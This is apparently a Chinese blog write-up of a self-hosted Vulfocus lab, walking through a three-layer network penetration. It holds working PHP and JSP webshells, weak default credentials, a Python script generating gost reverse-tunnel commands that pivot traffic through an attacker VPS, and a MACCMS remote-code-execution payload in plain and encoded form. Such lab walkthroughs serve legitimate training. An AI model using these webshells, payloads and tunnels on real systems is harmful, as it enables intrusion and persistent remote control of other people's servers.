【Vulfocus解题复现】万字解析,Empire三层靶机渗透场景全流程

前言:

(1)该靶机需要自行搭建vulfocus场景,需要购买VPS,搭建靶机过程详见参考文献1
(2)软件环境:蚁剑、MobaXterm、Brupsuit、SwitchOmega浏览器插件自行下载;反序列化利用工具、gost文件2详见参考文献。

正文:

渗透过程一览图:

在这里插入图片描述

1、渗透第一层主机

访问47.115.213.226(每人VPS分得的地址不一样),可以看到empirecms字样,搜索到这是帝国cms empirecms 文件上传漏洞3(CVE-2018-18086)
在这里插入图片描述

(1)访问帝国网站管理系统后台地址

/empirecms/e/admin/index.php

(2)通过弱口令 admin/123456 进入后台

(3)新建php文件,写入代码如下:

<?php file_put_contents("shellc.php","<?php @eval(\$_POST[cmd]); ?>");?>

其中, “\ ”为转义字符,这段代码的意思就是, 将phpshell命令写入到 shellc.php
(4)然后找到“系统——管理数据表——导入系统模型”,把刚才的代码文件传上去。

请添加图片描述

将该 shellc.php 文件重命名为shell.php.mod ,数据表名改为test1,点击马上导入
在这里插入图片描述
此时会提示“连接已重置”
在这里插入图片描述

(5)用蚁键连接测试,成功登录。
在这里插入图片描述

(6)上传 gost文件tmp目录下
在这里插入图片描述
(7)通过命令chmod +x gost为执行gost文件提权
在这里插入图片描述
(8)通过命令ip addr,找到该主机192.171.10.1/24 的内网地址段,为第一层。
在这里插入图片描述
(9)利用python脚本 输出对一层主机代理的命令提示
代理提示.py如下:

#coding:utf8

n = input("请输入你要穿透的层数:")

if n == '1':
    vps_ip = input("请输入你的VPS的IP:")
    bj1_ip = input("请输入一层靶机的IP:")
    port_s = input("请输入一个起始端口:")
    i_port = int(port_s)
    cmdlist = {}
    cmdlist["bj1"] = []
    cmd1 = "./gost -L socks5://:%s"%(i_port)
    cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,vps_ip,i_port-1)
    cmdlist["bj1"].append(cmd1)
    cmdlist["bj1"].append(cmd2)
    
    cmdlist["vps"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
    cmdlist["vps"].append(cmd3)
    
    print("[1]vps的操作指令:")
    print("\t"+cmdlist["vps"][0])
    
    print("[2]一层靶机的操作指令:")
    print("\t"+cmdlist["bj1"][0])
    print("\t"+cmdlist["bj1"][1])
    
    print("[*]代理IP:%s,代理端口:%s"%(vps_ip,i_port-2))
    
if n == '2':
    vps_ip = input("请输入你的VPS的IP:")
    bj1_ip = input("请输入一层靶机的IP:")
    bj2_ip = input("请输入二层靶机的IP:")
    port_s = input("请输入一个起始端口:")
    i_port = int(port_s)
    cmdlist = {}
    cmdlist["bj2"] = []
    cmd1 = "./gost -L socks5://:%s"%(i_port)
    cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,bj1_ip,i_port-1)
    cmdlist["bj2"].append(cmd1)
    cmdlist["bj2"].append(cmd2)
    cmdlist["bj1"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
    cmd4 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-4,i_port-2,vps_ip,i_port-3)
    cmdlist["bj1"].append(cmd3)
    cmdlist["bj1"].append(cmd4)
    cmdlist["vps"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-3)
    cmdlist["vps"].append(cmd3)
    
    
    print("[1]vps的操作指令:")
    print("\t"+cmdlist["vps"][0])
    
    print("[2]一层靶机的操作指令:")
    print("\t"+cmdlist["bj1"][0])
    print("\t"+cmdlist["bj1"][1])
    
    print("[3]二层靶机的操作指令:")
    print("\t"+cmdlist["bj2"][0])
    print("\t"+cmdlist["bj2"][1])
    
    print("[*]代理IP:%s,代理端口:%s"%(vps_ip,i_port-4))

if n == '3':
    vps_ip = input("请输入你的VPS的IP:")
    bj1_ip = input("请输入一层靶机的IP:")
    bj2_ip = input("请输入二层靶机的IP:")
    bj3_ip = input("请输入三层靶机的IP:")
    port_s = input("请输入一个起始端口:")
    i_port = int(port_s)
    cmdlist = {}
    cmdlist["bj3"] = []
    cmd1 = "./gost -L socks5://:%s"%(i_port)
    cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,bj2_ip,i_port-1)
    cmdlist["bj3"].append(cmd1)
    cmdlist["bj3"].append(cmd2)
    cmdlist["bj2"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
    cmd4 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-4,i_port-2,bj1_ip,i_port-3)
    cmdlist["bj2"].append(cmd3)
    cmdlist["bj2"].append(cmd4)
    cmdlist["bj1"] = []
    cmd5 = "./gost -L socks5://:%s?bind=true"%(i_port-3)
    cmd6 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-6,i_port-4,vps_ip,i_port-5)
    cmdlist["bj1"].append(cmd5)
    cmdlist["bj1"].append(cmd6)
    cmdlist["vps"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-5)
    cmdlist["vps"].append(cmd3)

    print("[1]vps的操作指令:")
    print("\t"+cmdlist["vps"][0])
    
    print("[2]一层靶机的操作指令:")
    print("\t"+cmdlist["bj1"][0])
    print("\t"+cmdlist["bj1"][1])
    
    print("[3]二层靶机的操作指令:")
    print("\t"+cmdlist["bj2"][0])
    print("\t"+cmdlist["bj2"][1])
    
    print("[4]三层靶机的操作指令:")
    print("\t"+cmdlist["bj3"][0])
    print("\t"+cmdlist["bj3"][1])
    
    print("[*]代理IP:%s,代理端口:%s"%(vps_ip,i_port-6))

在这里插入图片描述
(10)由上图可知,通过SSH远程登陆后,在你购买的vps47.115.213.226里,粘贴【1】vps的操作命令:

在这里插入图片描述
(11)回到蚁剑连接的47.115.213.226主机中,粘贴【2】一层靶机的操作命令:
在这里插入图片描述

(12)打开谷歌浏览器,通过SwitchOmega浏览器插件新建一个代理。粘贴 上述python脚本 的最后一条。 记得点击左下角的应用选项
在这里插入图片描述
(13)登录内网地址192.171.10.2:8080 ,登录成功 (图文不符,请忽略)

在这里插入图片描述
此时渗透阶段如下:
在这里插入图片描述

(14)通过上传fscan工具,扫描后确认192.171.10.2:8080该网站存在tomcat弱口令漏洞4

通过弱口令登录平台,账号密码均为:tomcat
在这里插入图片描述

(15)新建1.jsp文件,代码如下,其中,密码为passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

(16)将该jsp文件打成zip压缩包,然后重命名为1.war
在这里插入图片描述
(17)拖动192.171.10.2:8080页面,找到war上传区域,上传1.war木马
在这里插入图片描述

(18)蚁剑配置第一层代理
在这里插入图片描述

(19)测试连接刚才写的1.jsp脚本
在这里插入图片描述
(20)在192.171.10.2主机中执行 第一层的步骤(6)、(7)、(8) ,注意, gost文件要传入192.171.10.2主机/home目录下,传完后执行提权操作。这里发现第二层地址段192.172.20.2/24
在这里插入图片描述
(21)利用上述python脚本 ,输出渗透第二层主机命令提示。
在这里插入图片描述

2、渗透第二层主机

(1)按照上述python脚本输出的第二层代理配置提示,更新 第一层的步骤(10)、(11)
通过SSH连接的vps47.115.213.226:
在这里插入图片描述
公网主机47.115.213.226
在这里插入图片描述第一层主机192.171.10.2配置如下:(其实是同一个主机,这个主机是个双网卡,一张卡是公网47.115.213.226、一张卡是内网192.171.10.2。方便理解,我就说成层了,python代码提示的第二层靶机的操作,其实是把公网主机当做了第一层靶机,第一层主机当做了第二层靶机,所以粘贴的时候要一一对应):
在这里插入图片描述新建浏览器代理:
在这里插入图片描述

后面渗透第三层主机时,vps、公网主机、第一层主机、第二层主机、第三层主机、浏览器代理配置就按照上述python脚本输出提示粘贴执行即可,不再赘述。

(2)成功访问到第二层主机
在这里插入图片描述
此时渗透阶段如下:
在这里插入图片描述

(3)通过fscan扫描,发现第二层192.172.20.1:8080存在shiro反序列化利用漏洞

在这里插入图片描述
(4)我们直接利用反序列化利用工具5,需要先把代理配置好( 该工具需要java8运行环境,记得配置环境变量,真坑
在这里插入图片描述
(5)爆破密钥、爆破利用链及回显
在这里插入图片描述
(6)执行注入脚本,复制下地址,到蚁剑验证下。
在这里插入图片描述
(7)把蚁剑代理更新一下
在这里插入图片描述
(8)脚本登录成功
在这里插入图片描述
(9)上传 gost文件到192.172.20.1的/tmp目录上。给文件提权。详见第一层的操作
在这里插入图片描述

(10)在第二层192.172.20.1主机中扫描到第三层地址段10.11.10.2/24(详见第一层的操作)。

在这里插入图片描述
(11)用上述python脚本输出第三层代理配置提示在这里插入图片描述

3、渗透第三层主机

(1)这里不赘述,复制上述代码到vps、公网主机、第一层主机、第二层主机、浏览器代理中。
vps配置:
在这里插入图片描述
公网主机配置:
在这里插入图片描述
第一层主机配置:
在这里插入图片描述
第二层主机配置:
在这里插入图片描述
浏览器配置:
在这里插入图片描述
(2)成功访问到网页10.11.10.1:80上。
在这里插入图片描述

此时渗透阶段如下:
在这里插入图片描述
经过fscan扫描,确认该网站存在MACCMS 远程命令执行漏洞6(CVE-2017-17733)
(3)给Brupsuit抓包工具配置代理
在这里插入图片描述
(4)上传一句话木马payload

wd={if-A:print(fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1)))}{endif-A}

该payload大概意为创建一个c.php文件,并写入一句话木马。
代码里还有一个字符“1”,说明我们上传payload并访问c.php文件时,前面的php当作代码执行,剩下1输出到网页中。
所以如果我们能看到字符1,那就说明上传成功,接下来用蚁剑连接即可。
为了防止服务器过滤,这段代码得通过base64编码后以POST形式发送:

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

(5)抓包,重定向,构造一句话木马payload请求头,发包,成功。
在这里插入图片描述
(6)浏览器能访问
在这里插入图片描述
(7)蚁剑配置第三层代理
在这里插入图片描述

(8)拿下第三层主机
在这里插入图片描述

参考文献


  1. 超级快速/简易的搭建vulfocus云靶场 ↩︎

  2. gost文件下载教程 ↩︎

  3. 帝国cms empirecms 文件上传漏洞(CVE-2018-18086)复现 ↩︎

  4. tomcat-pass-getshell 弱口令复现 ↩︎

  5. 【护网必备】Shiro反序列化漏洞综合利用工具增强版 ↩︎

  6. MACCMS 远程命令执行漏洞(CVE-2017-17733)复现 ↩︎

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓梦林

都看到这里了,支持一下作者呗~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值